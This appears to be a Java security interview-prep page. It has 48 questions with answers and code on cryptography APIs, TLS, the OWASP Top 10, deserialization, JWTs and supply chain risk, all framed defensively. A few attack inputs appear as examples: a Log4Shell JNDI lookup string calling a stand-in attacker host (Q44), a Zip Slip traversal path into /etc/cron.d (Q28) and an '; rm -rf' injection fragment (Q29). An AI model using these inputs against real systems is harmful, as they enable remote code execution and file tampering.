JCA/JCE, hashing vs encryption vs signing, password hashing, AES-GCM, RSA/ECDSA, SecureRandom, TLS and keystores, OWASP Top 10 for Java, secrets, JWT pitfalls, SecurityManager removal, supply chain and incident scenarios.
Theory
Q1
What are JCA and JCE, and how does the provider architecture work?
basic
The Java Cryptography Architecture (JCA) is the framework in java.security and javax.crypto that exposes algorithms through engine classes (MessageDigest, Signature, KeyPairGenerator, Cipher, Mac, SecureRandom). JCE is the part covering encryption, key agreement and MACs. Implementations come from pluggable Providers.
Cipher.getInstance("AES/GCM/NoPadding") asks registered providers in priority order for the first one supporting it.
Built-in providers include SunJCE, SunEC, SunJSSE; Bouncy Castle is added with Security.addProvider.
Since Java 9 the unlimited-strength policy is the default; before 8u161 you needed policy files for AES-256.
⚠ Follow-up traps
Is Cipher.getInstance("AES") safe? No. It defaults to AES/ECB/PKCS5Padding, which leaks patterns.
Do you need policy jar files for AES-256 today? No, unlimited policy is default since 8u161/9.
#jca#jce#providers
Q2
Distinguish hashing, encryption, signing and MAC.
basic
Hashing is a one-way digest with no key (integrity fingerprint). Encryption is reversible with a key (confidentiality). A MAC is a keyed digest proving integrity and authenticity between parties sharing a secret. A digital signature uses a private key to sign and a public key to verify, giving authenticity and non-repudiation.
Encoding (Base64, hex) is none of these and gives no security.
⚠ Follow-up traps
Is Base64 encryption? No, it is a reversible public encoding.
Can a MAC provide non-repudiation? No, both sides hold the same key so either could have produced it.
#hashing#encryption#signing#mac
Q3
Which hash algorithms are acceptable and which are broken?
basic
Use SHA-256, SHA-384, SHA-512, SHA-3 or BLAKE2/3 for integrity. MD5 and SHA-1 have practical collision attacks and must not be used for signatures, certificates or integrity against adversaries.
Plain fast hashes are the wrong tool for passwords.
Compare digests in constant time with MessageDigest.isEqual.
⚠ Follow-up traps
Is SHA-1 fine for non-security checksums like Git object IDs? Collision resistance still matters; use SHA-256 for new designs.
Does SHA-256 protect against length extension? Not SHA-256 itself; HMAC or SHA-512/256 and SHA-3 avoid it.
#hashing#sha#md5
Q4
Why shouldn't you use SHA-256 for passwords, and what should you use?
basic
General hashes are designed to be fast, so GPUs test billions of guesses per second. Password hashing uses salted, deliberately slow, tunable-cost functions: Argon2id (preferred, memory-hard), scrypt, bcrypt, or PBKDF2 (FIPS-friendly).
Each hash has a unique random salt stored with it, which defeats rainbow tables and reveals identical passwords.
Cost is tuned so one verification takes roughly 100-500 ms on production hardware.
Spring Security's DelegatingPasswordEncoder stores {id} prefixes so you can migrate algorithms.
⚠ Follow-up traps
Does a salt need to be secret? No, it only needs to be unique and random.
Is a pepper the same as a salt? No, a pepper is a secret shared across hashes and stored outside the database.
#password-hashing#bcrypt#argon2#pbkdf2
Q5
Compare bcrypt, scrypt, Argon2 and PBKDF2.
intermediate
Argon2id is memory- and time-hard and is OWASP's first choice. bcrypt is CPU-hard with a small fixed memory, widely supported. PBKDF2 is only CPU-iteration based, easy on GPUs/ASICs but available in the JDK and FIPS-approved.
JDK has only PBKDF2 (PBKDF2WithHmacSHA256); bcrypt/Argon2 come from Spring Security, Bouncy Castle, or libraries like Password4j.
Why does bcrypt break with very long passphrases? Only the first 72 bytes are used; pre-hashing needs care.
Is PBKDF2 with 1,000 iterations acceptable? No, that is a legacy number; use current OWASP minimums.
#password-hashing#argon2#bcrypt#pbkdf2
Q6
How do you hash a password with PBKDF2 in plain Java?
intermediate
Generate a 16-byte random salt, derive with SecretKeyFactory, and store algorithm, iterations, salt and hash together. Clear the PBEKeySpec afterward.
byte[] salt = new byte[16];new SecureRandom().nextBytes(salt);PBEKeySpec spec = new PBEKeySpec(pwd, salt, 600_000, 256);try { byte[] hash = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256") .generateSecret(spec).getEncoded();} finally { spec.clearPassword();}
Verify by recomputing with the stored salt and comparing via MessageDigest.isEqual.
⚠ Follow-up traps
Why take char[] instead of String? A char[] can be zeroed; strings are immutable and linger until GC.
Is equals on the byte arrays fine?Arrays.equals short-circuits; use a constant-time compare.
#pbkdf2#password-hashing#secretkeyfactory
Q7
What is AES-GCM and why is it preferred over CBC or ECB?
intermediate
GCM is an authenticated encryption (AEAD) mode: it encrypts and produces a tag that detects tampering. ECB encrypts identical blocks identically; CBC gives only confidentiality and is vulnerable to padding-oracle attacks without a separate MAC.
byte[] iv = new byte[12];new SecureRandom().nextBytes(iv);Cipher c = Cipher.getInstance("AES/GCM/NoPadding");c.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(128, iv));c.updateAAD(header);byte[] ct = c.doFinal(plaintext); // ciphertext || 16-byte tag
Store the IV beside the ciphertext; it is not secret.
Decryption throws AEADBadTagException on tampering.
⚠ Follow-up traps
Can you reuse an IV with the same key in GCM? Never; it leaks the XOR of plaintexts and the authentication key.
Is the tag length configurable? Yes, but use 128 bits.
#aes#gcm#aead
Q8
How should GCM nonces be generated, and what limits exist?
advanced
Use 96-bit nonces. Random nonces are safe only up to about 2^32 messages per key (collision probability bound, per NIST); beyond that rotate keys or use a counter-based or deterministic scheme.
Counter nonces risk reuse after a restart or when multiple nodes share a key.
Encrypt at most ~64 GiB per single message/nonce.
Misuse-resistant alternatives: AES-GCM-SIV (not in the JDK) or XChaCha20-Poly1305 via a library.
JDK 11+ includes ChaCha20-Poly1305.
⚠ Follow-up traps
Does the JDK let you reuse the same GCM key and IV for encryption twice?Cipher throws InvalidAlgorithmParameterException on re-init for encryption with the same key and IV without a new init.
Is 128-bit random IV better? Not for GCM; non-96-bit IVs go through an extra GHASH step and add no real safety.
#aes-gcm#nonce#key-rotation
Q9
What is the padding oracle attack?
advanced
If a system decrypts AES-CBC and reveals (through errors or timing) whether padding was valid, an attacker can decrypt ciphertext byte by byte without the key.
Fix by using AEAD (GCM) or encrypt-then-MAC, verifying the MAC before decrypting.
Return identical generic errors; do not distinguish padding failures from MAC failures.
⚠ Follow-up traps
Does MAC-then-encrypt solve it? No, decryption and padding checks happen before the MAC is verified; use encrypt-then-MAC.
Does the attacker need the key? No, only a decryption endpoint that leaks validity.
#cbc#padding-oracle#aes
Q10
Explain RSA usage: padding schemes and key sizes.
intermediate
Use RSA with at least 2048-bit keys (3072 for long-term). For encryption use OAEP (RSA/ECB/OAEPWithSHA-256AndMGF1Padding); for signing use PSS (RSASSA-PSS) or PKCS#1 v1.5 with SHA-256 if interoperability demands it. Never use textbook RSA or PKCS#1 v1.5 encryption (Bleichenbacher attacks).
RSA encrypts only small payloads (key size minus padding), so use hybrid encryption: RSA wraps a random AES key.
"RSA" alone defaults to RSA/ECB/PKCS1Padding, the weak option.
⚠ Follow-up traps
Does "ECB" in the RSA transformation mean block repetition problems? No, it is a naming artifact; only one block is processed.
Can you encrypt a 1 KB file directly with RSA-2048? No, the limit is about 190 bytes with OAEP-SHA256.
#rsa#oaep#pss
Q11
How does hybrid encryption work and when would you use it?
intermediate
Generate a fresh random AES key per message, encrypt the data with AES-GCM, then encrypt (wrap) that AES key with the recipient's RSA/EC public key. Send the wrapped key plus IV plus ciphertext.
Cipher.WRAP_MODE and UNWRAP_MODE keep the key object away from raw bytes.
⚠ Follow-up traps
Why not reuse one AES key for all messages? It increases nonce-collision risk and the blast radius of compromise.
Is envelope encryption in cloud KMS the same idea? Yes, a KMS master key wraps data keys.
#hybrid-encryption#rsa#aes
Q12
ECDSA vs RSA vs EdDSA for signatures: how do you choose?
intermediate
ECDSA (P-256) gives short keys and signatures and fast signing. RSA-2048 has larger keys but fast verification and broad compatibility. Ed25519 (JDK 15+) is deterministic, fast and avoids nonce pitfalls.
KeyPairGenerator g = KeyPairGenerator.getInstance("Ed25519"); // JDK 15+KeyPair kp = g.generateKeyPair();Signature s = Signature.getInstance("Ed25519");s.initSign(kp.getPrivate());s.update(msg);byte[] sig = s.sign();
ECDSA needs a unique secret per signature; a repeated or biased nonce leaks the private key.
JDK 17+ (SunEC) implements ECDSA with secure randomness; legacy SHA1withECDSA should be avoided.
⚠ Follow-up traps
What happened with the JDK ECDSA bug of 2022? Psychic Signatures (CVE-2022-21449) in Java 15-18 accepted blank signatures; fixed in April 2022 CPU.
Is SHA256withECDSA output raw r||s? No, it is DER; use SHA256withECDSAinP1363Format for raw (e.g., JWT ES256).
#ecdsa#eddsa#rsa#signatures
Q13
What does SecureRandom do, and how does it differ from java.util.Random?
basic
SecureRandom is a cryptographically strong PRNG seeded from OS entropy (/dev/urandom on Linux). java.util.Random is a 48-bit LCG whose entire future output is predictable from a couple of values.
Use it for tokens, salts, IVs, keys, session IDs, CSRF tokens.
ThreadLocalRandom and Math.random() are likewise not secure.
⚠ Follow-up traps
Is SecureRandom thread-safe? Yes, but one shared instance can contend under heavy load; instances per thread are optional, not necessary.
Does new SecureRandom(seed) make it stronger? No; with some algorithms it makes output deterministic.
#securerandom#random#entropy
Q14
Which SecureRandom algorithm should you pick, and what about blocking?
intermediate
Use new SecureRandom() and let the platform choose. On Linux that is NativePRNG, which reads /dev/urandom and does not block. getInstanceStrong() uses the configured securerandom.strongAlgorithms (often NativePRNGBlocking) and can block.
Do not call getInstanceStrong() on request paths; it can stall servers with low entropy (older VMs/containers).
-Djava.security.egd=file:/dev/./urandom was a Java 8-era workaround; modern JDKs do not need it.
DRBG (JDK 9+) is NIST SP 800-90A compliant.
⚠ Follow-up traps
Is /dev/urandom insecure vs /dev/random? After boot-time seeding, both are fine on modern Linux kernels.
Is it OK to call setSeed after creation? It supplements the seed for most providers but it is pointless; do not rely on it.
#securerandom#nativeprng#blocking
Q15
What is the difference between a keystore and a truststore?
basic
A keystore holds your own private keys and certificate chains (identity you present). A truststore holds certificates of CAs or peers you trust (used to verify the other side). Both use the same file formats, but different roles.
Configure with -Djavax.net.ssl.keyStore, -Djavax.net.ssl.trustStore and passwords, or in code via KeyManagerFactory and TrustManagerFactory.
Prefer PKCS12; JKS is legacy (default since Java 9 is PKCS12).
⚠ Follow-up traps
Can a client skip a keystore? Yes, unless the server requires mutual TLS.
Is changeit secret? No; protecting trust anchors via integrity of the file matters, not that password.
#keystore#truststore#tls
Q16
How does TLS server certificate validation work in Java?
intermediate
The X509TrustManager builds a chain from the server cert to a trusted anchor, checks signatures, validity dates, basic constraints, key usage, and optionally revocation. Separately, hostname verification confirms the certificate's SAN matches the requested host.
HttpsURLConnection and HttpClient do hostname checks; raw SSLSocket does not unless you set SSLParameters.setEndpointIdentificationAlgorithm("HTTPS").
Revocation (CRL/OCSP) is off by default; enable with com.sun.net.ssl.checkRevocation and ocsp.enable.
Certificates are matched on SAN; CN fallback is not used.
⚠ Follow-up traps
Is trusting the chain enough? No, without hostname verification any valid cert for any domain would pass.
Does Java check revocation by default? No.
#tls#certificate-validation#pkix
Q17
Why is a trust-all TrustManager dangerous and what are legitimate alternatives?
basic
An X509TrustManager with empty checkServerTrusted and an always-true HostnameVerifier disables authentication, so anyone on the network can MITM the connection and read or alter traffic, making TLS pointless.
Correct fix for internal CAs: import the CA into a dedicated truststore and load it with SSLContext.
For dev, use mkcert or a local CA, not disabled validation.
Static scanners and Appknox-type checks flag this as a critical issue.
⚠ Follow-up traps
Is it safe on an internal network? No; lateral movement and ARP spoofing exist.
Does certificate pinning replace the truststore? It narrows trust further, but standard validation should still run.
#tls#trustmanager#mitm
Q18
How do you configure a custom SSLContext and enforce TLS versions?
intermediate
Load a KeyStore, create TrustManagerFactory (and KeyManagerFactory for mTLS), init SSLContext.getInstance("TLS"), and pass it to HttpClient.
Restrict versions with jdk.tls.client.protocols or SSLParameters.setProtocols.
TLS 1.0/1.1 are disabled by default since JDK 11.0.11/8u291 via jdk.tls.disabledAlgorithms.
⚠ Follow-up traps
Does SSLContext.getInstance("TLS") negotiate TLS 1.3? Yes on Java 11+ (and 8u261+ for clients with config).
Does ctx.init(null, tmf..., null) replace the default cacerts? Yes, only your truststore applies.
#sslcontext#tls13#truststore
Q19
Explain mutual TLS (mTLS) in Java.
intermediate
In mTLS both sides present certificates. The server sets needClientAuth and trusts the client CA; the client has a keystore with its key and chain. It authenticates services without shared secrets.
Server: SSLParameters.setNeedClientAuth(true), or Spring Boot server.ssl.client-auth=need.
Client: KeyManagerFactory from keystore plus truststore for the server CA.
Identity extracted from the client cert subject/SAN is used for authorization.
⚠ Follow-up traps
want vs need?want accepts connections without a cert; need rejects them.
Does mTLS authorize? It authenticates; you still need authorization checks on the identity.
#mtls#tls#keystore
Q20
How do you inspect and manage keystores with keytool?
basic
keytool creates, imports, lists and exports keys and certificates.
Import the full chain in order (leaf, intermediates).
Use -ext san= since hostname checks ignore CN.
⚠ Follow-up traps
Why does import fail with "certificate not trusted"? The issuing CA is missing from the keystore; import the chain.
JKS vs PKCS12? PKCS12 is the standard and the default since Java 9.
#keytool#keystore#pkcs12
Q21
What are the OWASP Top 10 categories most relevant to Java backends?
basic
From the 2021 list: Broken Access Control (A01), Cryptographic Failures (A02), Injection (A03), Insecure Design (A04), Security Misconfiguration (A05), Vulnerable Components (A06), Auth Failures (A07), Integrity Failures including insecure deserialization (A08), Logging/Monitoring Failures (A09), SSRF (A10).
Broken access control (IDOR, missing method security) is the most common in real audits.
XXE merged into Security Misconfiguration in 2021.
⚠ Follow-up traps
Is injection only SQL? No: LDAP, OS command, JNDI, SpEL, JPQL/HQL, template and log injection also count.
Where did XSS go? Into A03 Injection.
#owasp#top10#overview
Q22
How do you prevent SQL injection in Java?
basic
Use parameterized queries (PreparedStatement, JPA named parameters, Spring Data derived queries) so user data is never parsed as SQL. Escaping by hand is brittle.
String sql = "SELECT id FROM users WHERE email = ?";try (PreparedStatement ps = con.prepareStatement(sql)) { ps.setString(1, email); try (ResultSet rs = ps.executeQuery()) { /* ... */ }}
Bind parameters cannot parameterize identifiers (table, column, ORDER BY); allow-list those values.
JPQL/HQL string concatenation is equally injectable.
Least-privilege DB accounts limit damage.
⚠ Follow-up traps
Is Statement with escape safe? No; encoding-dependent bypasses exist.
Can you bind ORDER BY ?? It binds as a literal constant, not a column; use a whitelist map.
#sql-injection#jdbc#owasp
Q23
What is XXE and how do you disable it in Java parsers?
intermediate
XML External Entity attacks abuse DTD entity declarations to read local files, trigger SSRF or cause DoS (billion laughs). Disable DTDs and external entities on every parser.
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();f.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);f.setXIncludeAware(false);f.setExpandEntityReferences(false);
Same applies to SAXParserFactory, XMLInputFactory (IS_SUPPORTING_EXTERNAL_ENTITIES=false, SUPPORT_DTD=false), TransformerFactory (ACCESS_EXTERNAL_DTD=""), and SchemaFactory.
JAXB, SOAP stacks, XSLT and Office document libraries parse XML too.
⚠ Follow-up traps
Are JDK defaults safe? Not entirely; JDK parsers resolve external entities unless configured.
Does FEATURE_SECURE_PROCESSING alone block XXE? Not reliably; disallow DOCTYPE explicitly.
#xxe#xml#owasp
Q24
What is SSRF and how do you defend against it in Java?
intermediate
Server-Side Request Forgery makes your server fetch an attacker-chosen URL, reaching internal services or cloud metadata (169.254.169.254). Defend by allow-listing destinations and blocking private ranges after DNS resolution.
Validate scheme (https only), host against an allow-list, and resolved IP (not loopback, link-local, RFC1918).
Disable redirects or revalidate each hop.
Pin the resolved IP to the connection to defeat DNS rebinding.
Use IMDSv2 on AWS, network egress policies and separate fetcher workers.
⚠ Follow-up traps
Is blocking localhost string enough? No; 127.1, [::1], decimal IPs and DNS names resolving to private IPs bypass it.
Is checking the URL before HttpClient followed redirects enough? No; a redirect can point inward.
#ssrf#owasp#network
Q25
Why is Java deserialization dangerous and how do you mitigate it?
intermediate
ObjectInputStream.readObject instantiates classes from the byte stream and runs their readObject/readResolve hooks. Attackers chain existing classes ("gadgets" in Commons Collections, Spring etc.) to reach remote code execution before any cast check happens.
Prefer data formats (JSON, Protobuf) with explicit schemas.
If unavoidable, use an ObjectInputFilter allow-list (JEP 290, Java 9+, backported to 8u121) and set jdk.serialFilter globally.
Keep libraries patched; never deserialize untrusted data from cookies, JMS, RMI or caches.
⚠ Follow-up traps
Does casting after readObject protect you? No, the gadget already ran.
Is Jackson safe? Default typing (enableDefaultTyping, @JsonTypeInfo(use=CLASS)) enables polymorphic gadget attacks.
#deserialization#gadget-chains#objectinputstream
Q26
How does ObjectInputFilter work?
advanced
JEP 290 lets you filter classes, array lengths, depth and stream size before objects are created. Patterns are allow/deny rules ending with a reject-all.
ObjectInputFilter f = ObjectInputFilter.Config.createFilter( "com.acme.dto.*;java.base/*;maxdepth=10;maxbytes=65536;!*");ObjectInputStream in = new ObjectInputStream(stream);in.setObjectInputFilter(f);
JEP 415 (Java 17) adds context-specific filter factories.
Trailing !* rejects everything not listed.
⚠ Follow-up traps
Is a deny-list sufficient? No, new gadgets appear constantly; allow-list.
Does maxbytes stop all DoS? No, but it limits nested bombs combined with maxdepth/maxrefs.
#deserialization#objectinputfilter#jep290
Q27
What is path traversal and how do you prevent it?
basic
Path traversal uses ../ or absolute paths in user input to read or write outside the intended directory. Resolve the path against a base directory, normalize it, and verify it still starts with the base.
Path base = Path.of("/data/uploads").toRealPath();Path target = base.resolve(userName).normalize();if (!target.startsWith(base)) { throw new SecurityException("Invalid path");}
Use toRealPath() to resolve symlinks, which normalize() does not.
Never use the client-provided filename for storage; generate a UUID.
Zip Slip is the same flaw in archive extraction.
⚠ Follow-up traps
Does normalize() follow symlinks? No, it is purely lexical.
Is startsWith on strings safe?"/data/uploads2" starts with "/data/uploads"; compare Path, not String.
#path-traversal#files#owasp
Q28
What is Zip Slip?
intermediate
Archive entries can carry names like ../../etc/cron.d/x. Extracting with new File(dest, entry.getName()) writes outside the destination.
Resolve and normalize each entry path and require it to start with the destination.
Limit entry count, total uncompressed size and compression ratio to prevent zip bombs.
Do not extract symlink entries from tar archives blindly.
⚠ Follow-up traps
Does ZipInputStream sanitize names? No, it returns the raw entry name.
Is size in the header trustworthy? No, count actual bytes read.
#zip-slip#path-traversal#archives
Q29
How should OS command injection be avoided?
basic
Avoid shelling out; use Java APIs. If needed, pass arguments as a list to ProcessBuilder without a shell, so metacharacters are not interpreted.
Process p = new ProcessBuilder("convert", "-resize", "100x100", inFile, outFile) .redirectErrorStream(true) .start();
Never sh -c "convert " + userInput.
Argument injection still works: a value starting with - can become an option; use -- and validate.
Set a timeout and run with minimal privileges.
⚠ Follow-up traps
Is Runtime.exec(String) safe if the string is built carefully? It tokenizes on whitespace, so injection of extra arguments remains possible.
Does ProcessBuilder stop ; rm -rf? Yes when no shell is invoked, but argument injection remains.
#command-injection#processbuilder#owasp
Q30
What input validation strategy should a Java service follow?
basic
Validate on the server, at the trust boundary, using allow-lists for type, length, range and format; then encode output for its context. Validation reduces attack surface; it is not a replacement for parameterization or encoding.
Use Jakarta Bean Validation (@NotNull, @Size, @Pattern, @Valid) on DTOs.
Canonicalize first (Unicode normalization), validate second.
Reject rather than "sanitize" where possible.
Validate size limits on bodies, headers, multipart and JSON depth.
⚠ Follow-up traps
Is client-side validation enough? No, it only improves UX.
Does validation stop XSS? No, output encoding per context does.
#input-validation#bean-validation#allow-list
Q31
How do regular expressions create security issues (ReDoS)?
intermediate
Backtracking regex engines (including java.util.regex) can take exponential time on patterns with nested quantifiers like (a+)+$, letting a short crafted string pin a CPU core.
Avoid nested or overlapping quantifiers; prefer possessive quantifiers or atomic groups.
Cap input length before matching.
Use a linear-time engine (RE2/J) for untrusted patterns or inputs.
Java does not provide a built-in regex timeout; wrap input in a CharSequence that checks a deadline or run in a bounded executor.
⚠ Follow-up traps
Is Pattern.matches safer than find? No, the pathological case depends on the pattern.
Can you set a timeout in Pattern? Not in the JDK.
#redos#regex#dos
Q32
How do you prevent XSS in a Java web application?
basic
Encode output for its context (HTML body, attribute, JavaScript, URL, CSS) using a templating engine with auto-escaping (Thymeleaf th:text, JSP c:out) or OWASP Java Encoder. Add a Content-Security-Policy and mark cookies HttpOnly.
th:utext or escapeXml=false bypass escaping.
For REST APIs returning JSON, set Content-Type: application/json and X-Content-Type-Options: nosniff.
If rich HTML is required, sanitize with an allow-list library (OWASP Java HTML Sanitizer).
⚠ Follow-up traps
Does HTML encoding protect a value placed in a <script> block? No, JS context needs JS encoding.
Is HttpOnly an XSS fix? No, it limits cookie theft only.
#xss#encoding#csp
Q33
How does CSRF work and what does Spring Security do about it?
intermediate
CSRF tricks a logged-in browser into sending a state-changing request with its cookies automatically attached. Defenses: synchronizer token or double-submit cookie, SameSite=Lax/Strict cookies, and checking Origin.
Spring Security enables CSRF protection by default for session-based apps.
Stateless APIs authenticated with an Authorization header (not cookies) are not CSRF-prone, so it is commonly disabled there.
Never change state on GET.
⚠ Follow-up traps
Is CORS a CSRF defense? No, simple cross-site form POSTs are sent regardless; CORS governs reading responses.
Do JWTs in cookies need CSRF protection? Yes, the browser attaches them automatically.
#csrf#spring-security#cookies
Q34
How do you implement safe session and cookie handling?
intermediate
Use Secure, HttpOnly and SameSite cookie flags, regenerate the session ID on login (session fixation defense), set idle and absolute timeouts, and invalidate server-side on logout.
Spring Security migrates the session on authentication by default.
Don't put session IDs in URLs.
⚠ Follow-up traps
Does deleting the cookie client-side log you out? No; the server session stays valid until invalidated.
What does SameSite=Strict break? Links from other sites arrive without the cookie, appearing logged-out.
#session#cookies#session-fixation
Q35
What is the difference between authentication and authorization, and what is IDOR?
basic
Authentication proves who you are; authorization decides what you may do. IDOR (Insecure Direct Object Reference) is missing object-level authorization: GET /orders/42 returns an order that belongs to someone else.
Enforce on the server per request with ownership checks, e.g. findByIdAndOwnerId.
Do UUIDs fix IDOR? No, they only make enumeration harder; leaked IDs still work.
Is hiding a button authorization? No.
#authorization#idor#access-control
Q36
How should secrets be managed in a Java application?
intermediate
Keep secrets out of source control and images. Inject at runtime from a secrets manager (HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, Kubernetes Secrets with encryption at rest), prefer short-lived dynamic credentials, and rotate regularly.
Don't commit application.yml with passwords; use environment variables or Spring Cloud Vault / config import.
Environment variables can leak via /proc, crash dumps and /actuator/env; mounted files are slightly better.
Scan repos with gitleaks/trufflehog and add pre-commit hooks.
Use workload identity (IRSA, Workload Identity) so code needs no static cloud keys.
⚠ Follow-up traps
Is Base64 in a Kubernetes Secret encryption? No, it is only encoding unless etcd encryption is configured.
Is deleting a committed secret in a later commit enough? No, it remains in history; rotate it.
#secrets#vault#configuration
Q37
What does a JWT contain and how is it verified?
basic
A signed JWT (JWS) is base64url(header).base64url(payload).signature. The payload is readable by anyone; only integrity is protected. The verifier checks the signature with a trusted key and validates claims: exp, nbf, iss, aud, and optionally iat and jti.
HS256 uses a shared secret; RS256/ES256/EdDSA use key pairs with a public key for verification (JWKS endpoint).
Encryption (JWE) is a different format.
⚠ Follow-up traps
Is a JWT encrypted? Not by default; never put secrets in it.
Is "signature valid" enough? No; check expiry, issuer, audience and algorithm too.
#jwt#jws#authentication
Q38
List common JWT implementation pitfalls.
intermediate
Typical flaws: accepting alg: none, algorithm confusion (RS256 public key used as an HS256 secret), weak HMAC secrets, not validating aud/iss/exp, trusting header-supplied keys (jku, jwk, kid injection), long-lived tokens with no revocation, and storing tokens in localStorage where XSS can read them.
Pin the expected algorithm in the verifier; don't read it from the token.
HS256 secrets need at least 256 bits of entropy.
Use short access tokens plus refresh token rotation.
⚠ Follow-up traps
Can you revoke a JWT? Not without server state (deny-list, short TTL, token versioning).
Is kid safe to use in a file or SQL lookup? Only if allow-listed; it is an injection vector.
#jwt#alg-none#pitfalls
Q39
How do you validate a JWT correctly in Spring Security?
intermediate
Use the OAuth2 resource server with a JwtDecoder built from the issuer's JWKS, and add validators for issuer and audience.
NimbusJwtDecoder decoder = NimbusJwtDecoder .withJwkSetUri("https://idp.example.com/.well-known/jwks.json") .jwsAlgorithm(SignatureAlgorithm.RS256) .build();OAuth2TokenValidator<Jwt> v = new DelegatingOAuth2TokenValidator<>( JwtValidators.createDefaultWithIssuer("https://idp.example.com"), new JwtClaimValidator<List<String>>("aud", aud -> aud != null && aud.contains("orders-api")));decoder.setJwtValidator(v);
Defaults check signature, exp and nbf (with 60 s skew) but not aud.
JWKS keys are cached and refreshed on unknown kid.
⚠ Follow-up traps
Does Spring check aud by default? No, you add a validator.
Is 60 s clock skew a problem? It is tolerance on exp/nbf; reduce it if strict.
#jwt#spring-security#resource-server
Q40
What happened to the SecurityManager in Java?
intermediate
The SecurityManager was deprecated for removal in Java 17 (JEP 411) and permanently disabled in Java 24 (JEP 486): System.setSecurityManager throws UnsupportedOperationException. It was rarely used properly and added complexity and performance cost.
Applets, AccessController-based sandboxes and policy files are gone as isolation mechanisms.
In 17-23 you could still enable it with -Djava.security.manager=allow.
Replace with OS-level isolation: containers, seccomp, separate processes, least-privilege users, Wasm/GraalVM isolates, and the module system for encapsulation.
⚠ Follow-up traps
Can you run untrusted plugins safely in Java now? Not in-process; use separate processes or containers.
Does AccessController.doPrivileged still exist? It is deprecated for removal and effectively a no-op wrapper.
#securitymanager#jep411#sandbox
Q41
How do Java modules and strong encapsulation affect security?
advanced
Since Java 16/17 JDK internals (sun.*, non-exported java.*) are strongly encapsulated; reflection into them throws InaccessibleObjectException unless you add --add-opens. This blocks libraries from tampering with internals but is not a trust boundary against code in the same process.
Every --add-opens flag widens access; audit them.
Reflection on your own classpath code is still allowed.
⚠ Follow-up traps
Is the module system a sandbox? No, any code on the classpath still has full process privileges.
What did --illegal-access do? Removed in 17; the permissive mode no longer exists.
#jpms#encapsulation#illegal-access
Q42
How do you handle dependency vulnerabilities?
basic
Track transitive dependencies with an SBOM, scan continuously (OWASP Dependency-Check, Snyk, Trivy, GitHub Dependabot, mvn versions), and patch via version bumps or overrides. Log4Shell (CVE-2021-44228) showed one library can compromise everything.
Use Maven dependencyManagement or Gradle constraints to force fixed transitive versions.
Fail CI on high-severity CVEs with an exception process.
Remove unused dependencies to shrink exposure.
Reachability matters; triage rather than blindly bump.
⚠ Follow-up traps
Does a CVE in a transitive dependency affect you? Only if the vulnerable code path is reachable, but verify before dismissing.
Is pinning the latest version always safe? Newer versions can bring regressions or malicious releases.
#dependencies#sca#cve
Q43
What are software supply chain attacks and how do you mitigate them in Maven/Gradle builds?
advanced
Attackers compromise a dependency, plugin, repository or build system (typosquatting, dependency confusion, hijacked maintainers, malicious plugins). Mitigate by verifying and constraining what enters the build.
Use an internal repository proxy (Nexus/Artifactory) and reserve your group IDs there to stop dependency confusion.
Gradle dependency verification (verification-metadata.xml with checksums/PGP) and lockfiles; Maven Enforcer plus checksum policy.
Review new dependencies and pin GitHub Actions by commit SHA.
⚠ Follow-up traps
What is dependency confusion? A public package with your internal name and a higher version gets preferred by the resolver.
Does HTTPS to Maven Central prevent tampering? It protects transit, not a compromised publisher.
#supply-chain#sbom#dependency-verification
Q44
What did Log4Shell teach about JNDI and logging?
intermediate
Log4j 2.0-2.14 resolved ${jndi:ldap://attacker/x} inside logged messages, loading remote classes and giving unauthenticated RCE on any logged user input (CVE-2021-44228).
Fixes: upgrade (2.17.1+ for Java 8, 2.12.4/2.3.2 for older), disable message lookups, and block outbound LDAP/RMI.
JDK 8u191+ disabled remote codebase loading by default (trustURLCodebase=false), which reduced but did not eliminate exploitation (local gadgets).
Lesson: treat any interpreter reached by user data as an injection sink.
⚠ Follow-up traps
Was setting log4j2.formatMsgNoLookups=true a complete fix? Not for all versions/contexts; upgrading is the real fix.
Does the logging framework matter? Logback and java.util.logging were not affected by this flaw.
#log4shell#jndi#injection
Q45
How do you avoid logging sensitive data?
basic
Never log passwords, tokens, keys, full card numbers, session IDs or unmasked PII. Log identifiers, mask the rest, and treat logs as a high-sensitivity datastore with access control and retention.
Avoid log.info("request {}", request) where toString() dumps all fields; override toString to exclude secrets or use dedicated redaction types.
Add a masking layer in the logging pattern (Logback converter or Log4j2 rewrite policy) as defense in depth.
Sanitize CR/LF in user values to prevent log forging.
Don't log Authorization headers, bodies of auth endpoints or SQL parameters at DEBUG in production.
⚠ Follow-up traps
Is masking at the log layer enough? No, only a backstop; stop the data being passed in.
Are stack traces safe to return to clients? No, they disclose internals; log server-side and return a correlation ID.
#logging#pii#secrets
Q46
How do you protect against timing attacks in Java?
intermediate
Comparing secrets with equals or Arrays.equals returns early at the first mismatch, so response time leaks how many leading bytes matched. Use MessageDigest.isEqual (constant time since Java 6u17) for tokens, HMACs and hashes.
boolean ok = MessageDigest.isEqual(expectedMac, providedMac);
Length leaks are usually acceptable; compare equal-length digests.
Return identical errors and timing for "unknown user" and "wrong password" (hash a dummy value).
⚠ Follow-up traps
Does network jitter make timing attacks impractical? Statistical averaging has broken remote comparisons in practice.
Is String.equals constant-time? No.
#timing-attack#constant-time#comparison
Q47
What is Java's approach to key storage and zeroing secrets in memory?
advanced
Java gives no guarantee about memory erasure: GC may copy objects and strings are immutable. Best effort is char[]/byte[] that you Arrays.fill after use and Destroyable keys (SecretKeySpec historically does not implement destroy fully).
Prefer non-extractable keys in HSMs, PKCS#11, cloud KMS, or OS keystores so the key bytes never enter the heap.
KeyStore.getInstance("PKCS11") returns handles; signing happens on the device.
Disable heap dumps in production or protect them; secrets live in them.
⚠ Follow-up traps
Does setting a String to null erase it? No, it only drops the reference.
Does SecretKey.destroy() always work?SecretKeySpec.destroy throws DestroyFailedException or is a no-op in many JDK versions.
#key-management#memory#hsm
Q48
What is key derivation (HKDF) and when do you need it?
advanced
A KDF turns a shared or master secret into one or more independent keys. After ECDH, the raw shared secret must be run through HKDF (or similar) with context info before use as a key. PBKDF2/Argon2 are for low-entropy passwords instead.
HKDF-Extract-then-Expand with HMAC; JDK 24 adds KDF API with HKDF (JEP 510); earlier use Bouncy Castle or Tink.
Use distinct info labels per purpose (encryption vs MAC).
⚠ Follow-up traps
Can you use the raw ECDH output as an AES key? It has non-uniform structure; derive via a KDF.
